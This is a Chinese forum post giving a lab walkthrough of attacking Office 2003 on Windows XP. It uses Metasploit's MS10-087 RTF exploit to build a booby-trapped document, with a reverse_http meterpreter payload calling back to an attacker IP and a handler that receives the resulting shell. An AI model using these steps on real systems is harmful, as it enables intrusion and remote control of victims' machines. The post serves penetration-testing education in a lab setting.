用户
搜索
  • TA的每日心情
    开心
    7 小时前
  • 签到天数: 197 天

    连续签到: 6 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    63

    主题

    127

    帖子

    3321

    魔法币
    收听
    0
    粉丝
    8
    注册时间
    2020-10-2

    积极活跃奖

    发表于 2021-5-27 17:27:14 33358
    office 2003渗透攻击
    实验环境

    靶机是windows XP,攻击机是kali

    实验步骤
    靶机IP地址
    1.png

    攻击机IP地址
    2.png

    [AppleScript] 纯文本查看 复制代码
    msf > search ms10_087

    3.png

    [AppleScript] 纯文本查看 复制代码
    msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

    4.png

    [AppleScript] 纯文本查看 复制代码
    msf  exploit(ms10_087_rtf_pfragments_bof) > set FILENAME ms10087.rtf

    5.png

    [AppleScript] 纯文本查看 复制代码
    msf  exploit(ms10_087_rtf_pfragments_bof) > set payload windows/meterpreter/reverse_http
    6.png

    [AppleScript] 纯文本查看 复制代码
    msf  exploit(ms10_087_rtf_pfragments_bof) > set LHOST 211.100.66.128
    7.png

    show options看一下
    8.png

    [AppleScript] 纯文本查看 复制代码
    msf  exploit(ms10_087_rtf_pfragments_bof) > exploit 
    9.png

    [AppleScript] 纯文本查看 复制代码
    root@bt:~# cp /root/.msf4/local/ms10087.rtf /root/ms10087.rtf

    10.png

    11.png

    将文档从BT5拷贝到WIN XP靶机上
    12.png


    [AppleScript] 纯文本查看 复制代码
    msf > use exploit/multi/handler
    13.png

    [AppleScript] 纯文本查看 复制代码
    msf  exploit(handler) > set payload windows/meterpreter/reverse_http
    
    payload => windows/meterpreter/reverse_http
    14.png

    [AppleScript] 纯文本查看 复制代码
    msf  exploit(handler) >
    
    msf  exploit(handler) > set LHOST 211.100.66.128
    
    LHOST => 211.100.66.128
    15.png

    show options看一下
    16.png

    在靶机双击打开文件
    17.png

    [AppleScript] 纯文本查看 复制代码
    msf  exploit(handler) > exploit

    成功连接
    18.png

    [AppleScript] 纯文本查看 复制代码
    meterpreter > ipconfig
    19.png
    必须顶一个
    使用道具 举报 回复
    发表于 2021-5-31 07:40:26
    给新手一个赞
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    给新手一个赞 然后很老了可以学习
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册